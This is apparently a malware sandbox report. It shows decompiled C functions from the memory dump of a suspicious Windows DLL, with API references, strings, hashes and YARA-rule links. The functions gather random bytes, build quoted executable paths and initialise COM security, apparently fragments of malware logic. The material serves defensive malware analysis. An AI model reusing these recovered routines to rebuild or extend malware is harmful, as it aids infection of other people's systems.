Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$_snprintflocaleconv
String ID: %.*g$l
API String ID: 1910550357-2865287916
Opcode ID: a9427fd32f65f4368a3a821ec40dfad0db5226041938b1a6616fa7ee171a8d90
Instruction ID: 4c716ca8b162fc6faa60787269fa188094be20d2fbd15a0f4a19c28ac9b05b50
Opcode Fuzzy Hash: a9427fd32f65f4368a3a821ec40dfad0db5226041938b1a6616fa7ee171a8d90
Instruction Fuzzy Hash: 19213B76148681EAD3314A69AC8CB9B37BCEB2632CF354119F9508AB82DB71D945C3B0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE716F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E6CE716F0(signed int* _a4) {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t22;
				intOrPtr* _t28;
				signed int _t29;
				signed int _t30;
				struct HINSTANCE__* _t32;
				void* _t34;

				_t30 = 0;
				_v8 = 0;
				_t32 = GetModuleHandleA("advapi32.dll");
				if(_t32 == 0) {
					L9:
					return 1;
				}
				_t16 = GetProcAddress(_t32, "CryptAcquireContextA");
				_v12 = _t16;
				if(_t16 == 0) {
					goto L9;
				}
				_t17 = GetProcAddress(_t32, "CryptGenRandom");
				_v16 = _t17;
				if(_t17 == 0) {
					goto L9;
				}
				_t28 = GetProcAddress(_t32, "CryptReleaseContext");
				if(_t28 == 0) {
					goto L9;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if(_v12() == 0) {
					goto L9;
				}
				_t22 = _v16(_v8, 4,  &_v20);
				 *_t28(_v8, 0);
				if(_t22 == 0) {
					goto L9;
				}
				_t29 = 0;
				do {
					_t30 = _t30 << 0x00000008 |  *(_t34 + _t29 - 0x10) & 0x000000ff;
					_t29 = _t29 + 1;
				} while (_t29 < 4);
				 *_a4 = _t30;
				return 0;
			}

0x6ce716f9
0x6ce71700
0x6ce71709
0x6ce7170d
0x6ce71788
0x00000000
0x6ce7178a
0x6ce7171b
0x6ce7171d
0x6ce71722
0x00000000
0x00000000
0x6ce7172a
0x6ce7172c
0x6ce71731
0x00000000
0x00000000
0x6ce7173b
0x6ce7173f
0x00000000
0x00000000
0x6ce71741
0x6ce71746
0x6ce71748
0x6ce71749
0x6ce7174d
0x6ce71753
0x00000000
0x00000000
0x6ce7175e
0x6ce71767
0x6ce7176b
0x00000000
0x00000000
0x6ce7176d
0x6ce7176f
0x6ce71777
0x6ce71779
0x6ce7177a
0x6ce71782
0x00000000

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000000,00000000,00000000,6CE6763B,?,?,00000000,?), ref: 6CE71703
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00000000,?), ref: 6CE7171B
GetProcAddress.KERNEL32(00000000,CryptGenRandom,?,?,00000000,?), ref: 6CE7172A
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,?,?,00000000,?), ref: 6CE71739

Strings

CryptAcquireContextA, xrefs: 6CE71715
CryptGenRandom, xrefs: 6CE71724
advapi32.dll, xrefs: 6CE716FB
CryptReleaseContext, xrefs: 6CE71733

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: a8b077aacb0a001445d23d97103d989cee578a630d12663504863b54c4a85121
Instruction ID: eaeb8069b53147859db9f2d99d2d5da7cf31c0f459f45a68077a8f3b8a7dfd02
Opcode Fuzzy Hash: a8b077aacb0a001445d23d97103d989cee578a630d12663504863b54c4a85121
Instruction Fuzzy Hash: FA11A331A01759BBEB319AEA8C94EAE7AF8AF56649F300465E914F2600D634CA01C670

Uniqueness

Uniqueness Score: -1.00%

Function 6CE649FE, Relevance: 9.3, APIs: 6, Instructions: 285
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6CE649FE(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, signed int _a12) {
				char _v516;
				void _v1044;
				char _v1076;
				signed int _v1080;
				signed int _v1096;
				WCHAR* _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				char _v1144;
				char _v1148;
				void* __esi;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t76;
				signed int _t81;
				WCHAR* _t87;
				void* _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				WCHAR* _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t108;
				intOrPtr _t109;
				signed char _t116;
				WCHAR* _t118;
				void* _t122;
				signed int _t123;
				intOrPtr _t125;
				void* _t128;
				void* _t129;
				WCHAR* _t130;
				void* _t134;
				void* _t141;
				void* _t143;
				WCHAR* _t145;
				signed int _t153;
				void* _t154;
				void* _t178;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t187;
				signed int _t188;
				WCHAR* _t190;
				signed int _t191;
				signed int _t192;
				intOrPtr* _t194;
				signed int _t196;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t203;
				void* _t208;

				_t208 = __fp0;
				_push(_t191);
				_t128 = __edx;
				_t187 = __ecx;
				_t192 = _t191 | 0xffffffff;
				memset( &_v1044, 0, 0x20c);
				_t199 = (_t196 & 0xfffffff8) - 0x454 + 0xc;
				_v1108 = 1;
				if(_t187 != 0) {
					_t123 =  *0x6ce7e688; // 0x5e0590
					_t3 = _t123 + 0x110; // 0x65fd98
					_t125 =  *0x6ce7e68c; // 0x65fc68
					_v1116 =  *((intOrPtr*)(_t125 + 0x68))(_t187,  *((intOrPtr*)( *_t3)));
				}
				if(E6CE6BBCF(_t187) != 0) {
					L4:
					_t134 = _t128;
					_t66 = E6CE6B7EA(_t134,  &_v516);
					_push(_t134);
					_v1104 = _t66;
					E6CE6B6BF(_t66,  &_v1076, _t206, _t208);
					_t129 = E6CE649BA( &_v1076,  &_v1076, _t206);
					_t141 = E6CE6D442( &_v1076, E6CE6C3BB( &_v1076), 0);
					E6CE6B8CC(_t141,  &_v1100, _t208);
					_t175 =  &_v1076;
					_t73 = E6CE62C82(_t187,  &_v1076, _t206, _t208);
					_v1112 = _t73;
					_t143 = _t141;
					if(_t73 != 0) {
						_push(0);
						_push(_t129);
						_push("\\");
						_t130 = E6CE692C6(_t73);
						_t200 = _t199 + 0x10;
						_t75 =  *0x6ce7e688; // 0x5e0590
						__eflags =  *((intOrPtr*)(_t75 + 0x214)) - 3;
						if( *((intOrPtr*)(_t75 + 0x214)) != 3) {
							L12:
							__eflags = _v1108;
							if(__eflags != 0) {
								_t76 = E6CE691C4(_v1112);
								_t145 = _t130;
								 *0x6ce7e740 = _t76;
								 *0x6ce7e738 = E6CE691C4(_t145);
								L17:
								_push(_t145);
								_t188 = E6CE69B24( &_v1044, _t187, _t208, _v1104,  &_v1080,  &_v1100);
								_t201 = _t200 + 0x10;
								__eflags = _t188;
								if(_t188 == 0) {
									goto L41;
								}
								_push(0x6ce7b9c6);
								E6CE69F13(0xe);
								E6CE69F37(_t188, _t208, _t130);
								_t194 = _a4;
								_v1096 = _v1096 & 0x00000000;
								_push(2);
								_v1100 =  *_t194;
								_push(8);
								_push( &_v1100);
								_t178 = 0xb;
								E6CE6A076(_t188, _t178, _t208);
								_t179 =  *(_t194 + 0x10);
								_t202 = _t201 + 0xc;
								__eflags =  *(_t194 + 0x10);
								if( *(_t194 + 0x10) != 0) {
									E6CE6A3D8(_t188, _t179, _t208);
								}
								_t180 =  *(_t194 + 0xc);
								__eflags = _t180;
								if(_t180 != 0) {
									E6CE6A3D8(_t188, _t180, _t208);
								}
								_t87 = E6CE697ED(0);
								_push(2);
								_v1100 = _t87;
								_t153 = _t188;
								_push(8);
								_v1096 = _t180;
								_push( &_v1100);
								_t181 = 2;
								_t89 = E6CE6A076(_t153, _t181, _t208);
								_t203 = _t202 + 0xc;
								__eflags = _v1108;
								if(_v1108 == 0) {
									_t153 =  *0x6ce7e688; // 0x5e0590
									__eflags =  *((intOrPtr*)(_t153 + 0xa4)) - 1;
									if(__eflags != 0) {
										_t90 = E6CE6FC57(_t89, _t181, _t208, 0, _t130, 0);
										_t203 = _t203 + 0xc;
										goto L26;
									}
									_t153 = _t153 + 0x228;
									goto L25;
								} else {
									_t91 =  *0x6ce7e688; // 0x5e0590
									__eflags =  *((intOrPtr*)(_t91 + 0xa4)) - 1;
									if(__eflags != 0) {
										L32:
										__eflags =  *(_t91 + 0x1898) & 0x00000082;
										if(( *(_t91 + 0x1898) & 0x00000082) != 0) {
											_t183 = 0x64;
											E6CE6E280(_t183);
										}
										E6CE652B3( &_v1076, _t208);
										_t190 = _a8;
										_t154 = _t153;
										__eflags = _t190;
										if(_t190 != 0) {
											_t94 =  *0x6ce7e688; // 0x5e0590
											__eflags =  *((intOrPtr*)(_t94 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t94 + 0xa0)) != 1) {
												lstrcpyW(_t190, _t130);
											} else {
												_t96 = E6CE6109A(_t154, 0x228);
												_v1100 = _t96;
												lstrcpyW(_t190, _t96);
												E6CE685B6( &_v1100);
												 *_t203 = "\"";
												lstrcatW(_t190, ??);
												lstrcatW(_t190, _t130);
												lstrcatW(_t190, "\"");
											}
										}
										_t93 = _a12;
										__eflags = _t93;
										if(_t93 != 0) {
											 *_t93 = _v1104;
										}
										_t192 = 0;
										__eflags = 0;
										goto L41;
									}
									_t51 = _t91 + 0x228; // 0x5e07b8
									_t153 = _t51;
									L25:
									_t90 = E6CE65532(_t153, _t130, __eflags);
									L26:
									__eflags = _t90;
									if(_t90 >= 0) {
										_t91 =  *0x6ce7e688; // 0x5e0590
										goto L32;
									}
									_push(0xfffffffd);
									L6:
									_pop(_t192);
									goto L41;
								}
							}
							_t106 = E6CE6C2D4(_v1104, __eflags);
							_v1112 = _t106;
							_t107 =  *0x6ce7e684; // 0x65faa0
							_t108 =  *((intOrPtr*)(_t107 + 0xd0))(_t106, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
							__eflags = _t108 - _t192;
							if(_t108 != _t192) {
								_t109 =  *0x6ce7e684; // 0x65faa0
								 *((intOrPtr*)(_t109 + 0x30))();
								E6CE685FB( &_v1148, _t192);
								_t145 = _t108;
								goto L17;
							}
							E6CE685FB( &_v1144, _t192);
							_t81 = 1;
							goto L42;
						}
						_t17 = _t75 + 0x1898; // 0x0
						_t116 =  *_t17;
						__eflags = _t116 & 0x00000004;
						if((_t116 & 0x00000004) == 0) {
							__eflags = _t116;
							if(_t116 != 0) {
								goto L12;
							}
							L11:
							E6CE6E2C8(_v1112, _t175);
							goto L12;
						}
						_v1080 = _v1080 & 0x00000000;
						_t118 = E6CE695C2(_t143, 0x879);
						_v1100 = _t118;
						_t175 = _t118;
						E6CE6C02E(0x80000002, _t118, _v1112, 4,  &_v1080, 4);
						E6CE685B6( &_v1100);
						_t200 = _t200 + 0x14;
						goto L11;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t122 = E6CE62B97( &_v1044, _t192, 0x105);
					_t206 = _t122;
					if(_t122 == 0) {
						L41:
						_t81 = _t192;
						L42:
						return _t81;
					}
					goto L4;
				}
			}

0x6ce649fe
0x6ce64a0b
0x6ce64a16
0x6ce64a1b
0x6ce64a1d
0x6ce64a20
0x6ce64a25
0x6ce64a28
0x6ce64a32
0x6ce64a34
0x6ce64a39
0x6ce64a41
0x6ce64a4a
0x6ce64a4a
0x6ce64a57
0x6ce64a72
0x6ce64a79
0x6ce64a7b
0x6ce64a80
0x6ce64a85
0x6ce64a8b
0x6ce64a9a
0x6ce64ab9
0x6ce64abb
0x6ce64ac1
0x6ce64ac7
0x6ce64acc
0x6ce64ad0
0x6ce64ad3
0x6ce64add
0x6ce64adf
0x6ce64ae0
0x6ce64aeb
0x6ce64aed
0x6ce64af0
0x6ce64af5
0x6ce64afc
0x6ce64b51
0x6ce64b51
0x6ce64b56
0x6ce64bbd
0x6ce64bc2
0x6ce64bc4
0x6ce64bce
0x6ce64bd3
0x6ce64bd3
0x6ce64bed
0x6ce64bef
0x6ce64bf2
0x6ce64bf4
0x00000000
0x00000000
0x6ce64bfa
0x6ce64c04
0x6ce64c0d
0x6ce64c12
0x6ce64c15
0x6ce64c1b
0x6ce64c21
0x6ce64c29
0x6ce64c2b
0x6ce64c2e
0x6ce64c2f
0x6ce64c34
0x6ce64c37
0x6ce64c3a
0x6ce64c3c
0x6ce64c40
0x6ce64c40
0x6ce64c45
0x6ce64c48
0x6ce64c4a
0x6ce64c4e
0x6ce64c4e
0x6ce64c55
0x6ce64c5a
0x6ce64c5c
0x6ce64c60
0x6ce64c62
0x6ce64c68
0x6ce64c6c
0x6ce64c6f
0x6ce64c70
0x6ce64c75
0x6ce64c78
0x6ce64c7d
0x6ce64ca5
0x6ce64cab
0x6ce64cb2
0x6ce64cc1
0x6ce64cc6
0x00000000
0x6ce64cc6
0x6ce64cb4
0x00000000
0x6ce64c7f
0x6ce64c7f
0x6ce64c84
0x6ce64c8b
0x6ce64cd0
0x6ce64cd0
0x6ce64cd7
0x6ce64cdb
0x6ce64cdc
0x6ce64cdc
0x6ce64ce6
0x6ce64ceb
0x6ce64cee
0x6ce64cef
0x6ce64cf1
0x6ce64cf3
0x6ce64cf8
0x6ce64cff
0x6ce64d42
0x6ce64d01
0x6ce64d06
0x6ce64d0e
0x6ce64d12
0x6ce64d1d
0x6ce64d28
0x6ce64d30
0x6ce64d34
0x6ce64d3c
0x6ce64d3c
0x6ce64cff
0x6ce64d48
0x6ce64d4b
0x6ce64d4d
0x6ce64d53
0x6ce64d53
0x6ce64d55
0x6ce64d55
0x00000000
0x6ce64d55
0x6ce64c8d
0x6ce64c8d
0x6ce64c93
0x6ce64c95
0x6ce64c9a
0x6ce64c9a
0x6ce64c9c
0x6ce64ccb
0x00000000
0x6ce64ccb
0x6ce64c9e
0x6ce64ad7
0x6ce64ad7
0x00000000
0x6ce64ad7
0x6ce64c7d
0x6ce64b5c
0x6ce64b6a
0x6ce64b7d
0x6ce64b82
0x6ce64b88
0x6ce64b8a
0x6ce64ba2
0x6ce64ba7
0x6ce64bb0
0x6ce64bb6
0x00000000
0x6ce64bb6
0x6ce64b92
0x6ce64b9b
0x00000000
0x6ce64b9b
0x6ce64afe
0x6ce64afe
0x6ce64b04
0x6ce64b06
0x6ce64b44
0x6ce64b46
0x00000000
0x00000000
0x6ce64b48
0x6ce64b4c
0x00000000
0x6ce64b4c
0x6ce64b08
0x6ce64b12
0x6ce64b1e
0x6ce64b29
0x6ce64b30
0x6ce64b3a
0x6ce64b3f
0x00000000
0x6ce64b3f
0x6ce64ad5
0x00000000
0x6ce64a59
0x6ce64a64
0x6ce64a6a
0x6ce64a6c
0x6ce64d57
0x6ce64d57
0x6ce64d59
0x6ce64d5f
0x6ce64d5f
0x00000000
0x6ce64a6c

APIs

memset.MSVCRT ref: 6CE64A20
lstrcpyW.KERNEL32(00000000,00000000), ref: 6CE64D12
lstrcatW.KERNEL32 ref: 6CE64D30
lstrcatW.KERNEL32 ref: 6CE64D34
lstrcatW.KERNEL32 ref: 6CE64D3C
lstrcpyW.KERNEL32(00000000,00000000), ref: 6CE64D42

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcat$lstrcpy$memset
String ID:
API String ID: 1985475764-0
Opcode ID: 61c3f277c240d9fd76ab4676f4944c8b4fc2d5509eb46b81c6f0f6d7935d4620
Instruction ID: df2f04ce32ff6c1ea59e6b2121846ed5c53a2fa551129410220b73ca37455658
Opcode Fuzzy Hash: 61c3f277c240d9fd76ab4676f4944c8b4fc2d5509eb46b81c6f0f6d7935d4620
Instruction Fuzzy Hash: 9B91E171694300AFE704DB26C855BAA73F9AB81718F30492EF5559BF80EB70D808CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6D78A, Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6CE6D79E
SysAllocString.OLEAUT32(?), ref: 6CE6D7A6
SysAllocString.OLEAUT32(00000000), ref: 6CE6D7BA
SysFreeString.OLEAUT32(?), ref: 6CE6D835
SysFreeString.OLEAUT32(?), ref: 6CE6D838
SysFreeString.OLEAUT32(?), ref: 6CE6D83D

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: fe74ce22c913d542b60f687fdc03c8f26f3107a583bc036bc8e41027ab9de996
Instruction ID: a30560286a9a03a67b34c721116c54190505f8e363a3344925d399bb1fcc2093
Opcode Fuzzy Hash: fe74ce22c913d542b60f687fdc03c8f26f3107a583bc036bc8e41027ab9de996
Instruction Fuzzy Hash: 1521FC75E00218AFDB00DFA5CC88D9FBBBDEF49258B24449AE505A7250DA70AE05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE61C51, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6CE61C51(signed int __ecx, void* __eflags, void* __fp0) {
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t13;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t17;
				signed int _t18;
				char _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t48;
				void* _t51;
				signed int _t61;
				signed int _t64;
				void* _t71;

				_t71 = __fp0;
				_t61 = __ecx;
				_t41 =  *0x6ce7e6dc; // 0x0
				_t13 = E6CE6A501(_t41, 0);
				while(_t13 < 0) {
					E6CE697ED( &_v28);
					_t43 =  *0x6ce7e6e0; // 0x0
					_t15 =  *0x6ce7e6e4; // 0x0
					_t41 = _t43 + 0xe10;
					asm("adc eax, ebx");
					__eflags = _t15 - _v24;
					if(__eflags > 0) {
						L9:
						_t16 = 0xfffffffe;
						L13:
						return _t16;
					}
					if(__eflags < 0) {
						L4:
						_t17 =  *0x6ce7e684; // 0x65faa0
						_t18 =  *((intOrPtr*)(_t17 + 0xc8))( *0x6ce7e6d0, 0);
						__eflags = _t18;
						if(_t18 == 0) {
							break;
						}
						_t35 =  *0x6ce7e684; // 0x65faa0
						 *((intOrPtr*)(_t35 + 0xb4))(0x3e8);
						_t41 =  *0x6ce7e6dc; // 0x0
						__eflags = 0;
						_t13 = E6CE6A501(_t41, 0);
						continue;
					}
					__eflags = _t41 - _v28;
					if(_t41 >= _v28) {
						goto L9;
					}
					goto L4;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t20 =  *0x6ce7e6e8; // 0x0
				_v28 = _t20;
				_t22 = E6CE6A6EB(_t41, _t61,  &_v16);
				_v20 = _t22;
				if(_t22 != 0) {
					_t23 = GetCurrentProcess();
					_t24 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t24, _t23, 0x6ce7e6d0, 0, 0, 2);
					E6CE697ED(0x6ce7e6e0);
					_t64 = E6CE61A01( &_v28, E6CE61226, _t71);
					__eflags = _t64;
					if(_t64 >= 0) {
						_push(0);
						_push( *0x6ce7e760);
						_t51 = 0x27;
						E6CE69ED1(_t51);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x6ce7e684; // 0x65faa0
				 *((intOrPtr*)(_t29 + 0x30))( *0x6ce7e6d0);
				_t48 =  *0x6ce7e6dc; // 0x0
				 *0x6ce7e6d0 = 0;
				E6CE6A51D(_t48);
				E6CE685FB( &_v24, 0);
				_t16 = _t64;
				goto L13;
			}

0x6ce61c51
0x6ce61c5e
0x6ce61c60
0x6ce61c67
0x6ce61ccd
0x6ce61c74
0x6ce61c79
0x6ce61c7f
0x6ce61c84
0x6ce61c8a
0x6ce61c8c
0x6ce61c90
0x6ce61cfe
0x6ce61d00
0x6ce61d82
0x6ce61d88
0x6ce61d88
0x6ce61c92
0x6ce61c9a
0x6ce61c9a
0x6ce61ca6
0x6ce61cac
0x6ce61cae
0x00000000
0x00000000
0x6ce61cb0
0x6ce61cba
0x6ce61cc0
0x6ce61cc6
0x6ce61cc8
0x00000000
0x6ce61cc8
0x6ce61c94
0x6ce61c98
0x00000000
0x00000000
0x00000000
0x6ce61c98
0x6ce61cd7
0x6ce61cd8
0x6ce61cd9
0x6ce61cda
0x6ce61cdb
0x6ce61ce0
0x6ce61cea
0x6ce61cef
0x6ce61cf7
0x6ce61d12
0x6ce61d15
0x6ce61d1f
0x6ce61d2a
0x6ce61d3d
0x6ce61d3f
0x6ce61d41
0x6ce61d43
0x6ce61d44
0x6ce61d4c
0x6ce61d4d
0x6ce61d53
0x6ce61cf9
0x6ce61cf9
0x6ce61cf9
0x6ce61d54
0x6ce61d5f
0x6ce61d62
0x6ce61d68
0x6ce61d6e
0x6ce61d79
0x6ce61d80
0x00000000

Strings

l, xrefs: 6CE61D25

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: l
API String ID: 0-1545559182
Opcode ID: aa06a619003145fc19f1d0d306cc19dfde1fdf67e1330a17b4ac1a9ac5154a53
Instruction ID: fff91be0e47f3573362adfdb802f026f9000a9cb6e8598f7a97d1993ed3794e4
Opcode Fuzzy Hash: aa06a619003145fc19f1d0d306cc19dfde1fdf67e1330a17b4ac1a9ac5154a53
Instruction Fuzzy Hash: 1031A7327546149FDB16DFE6D8849AA77B9FB4535CB20092EF501D7E90DB20DC04C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE7082F, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X, xrefs: 6CE70949
\u%04X\u%04X, xrefs: 6CE70988
l, xrefs: 6CE7082F, 6CE70836

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: \u%04X$\u%04X\u%04X$l
API String ID: 0-1449845208
Opcode ID: 5a5a201a808a6a7f83cbe5149f65bc66fe9e66e3c1700d144ff4cf0f47bca287
Instruction ID: 45b5cb393798dd7c33b10b22fe3f87fb3137a72d977b081354fae1811a329b42
Opcode Fuzzy Hash: 5a5a201a808a6a7f83cbe5149f65bc66fe9e66e3c1700d144ff4cf0f47bca287
Instruction Fuzzy Hash: F541D5726002C597FB348A988D96BAE3B74DF8231CF301126F951E6F41E667C991C2B2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6D565, Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E6CE6D565(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x6ce7b848, 0, 1, 0x6ce7b858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E6CE685E5(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x6ce6d572
0x6ce6d575
0x6ce6d578
0x6ce6d589
0x6ce6d58f
0x6ce6d5a0
0x6ce6d5a8
0x6ce6d5f9
0x6ce6d5f9
0x6ce6d5fe
0x6ce6d603
0x6ce6d603
0x6ce6d606
0x6ce6d60b
0x6ce6d610
0x6ce6d610
0x6ce6d613
0x6ce6d5aa
0x6ce6d5ab
0x6ce6d5b1
0x6ce6d5c2
0x6ce6d5c7
0x00000000
0x6ce6d5c9
0x6ce6d5d6
0x6ce6d5de
0x00000000
0x6ce6d5e0
0x6ce6d5e2
0x6ce6d5ea
0x00000000
0x6ce6d5ec
0x6ce6d5ef
0x6ce6d5f5
0x6ce6d5f5
0x6ce6d5ea
0x6ce6d5de
0x6ce6d5c7
0x6ce6d618

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 6CE6D578
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6CE6D589
CoCreateInstance.OLE32(6CE7B848,00000000,00000001,6CE7B858,?), ref: 6CE6D5A0
SysAllocString.OLEAUT32(00000000), ref: 6CE6D5AB
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6CE6D5D6

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocInitialize$BlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 2855449287-0
Opcode ID: b3bca5892134847d1ef46b65d3c729635d60c22be7a58c2d767f8c6ada4aa10f
Instruction ID: 4ebf4265a330c2b83b91248acbc2a8ad6e680da34a663aeeaac8a4b09ba280b8
Opcode Fuzzy Hash: b3bca5892134847d1ef46b65d3c729635d60c22be7a58c2d767f8c6ada4aa10f
Instruction Fuzzy Hash: EA21F535651245BBEB258B67CC4CE5FBF7CEFC2B19B20415EB501AAA90CA709A00CA70

Uniqueness

Uniqueness Score: -1.00%

Function 6CE72237, Relevance: 7.6, APIs: 5, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6CE72237(char* __eax, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t9;
				signed char _t11;
				char** _t19;
				char _t22;
				long long _t32;
				long long _t33;

				_t9 = __eax;
				L6CE72305();
				_t19 = _a4;
				_t22 =  *__eax;
				if( *_t22 != 0x2e) {
					_t9 = strchr( *_t19, 0x2e);
					if(_t9 != 0) {
						 *_t9 =  *_t22;
					}
				}
				L6CE722C9();
				 *_t9 =  *_t9 & 0x00000000;
				_t11 = strtod( *_t19,  &_v8);
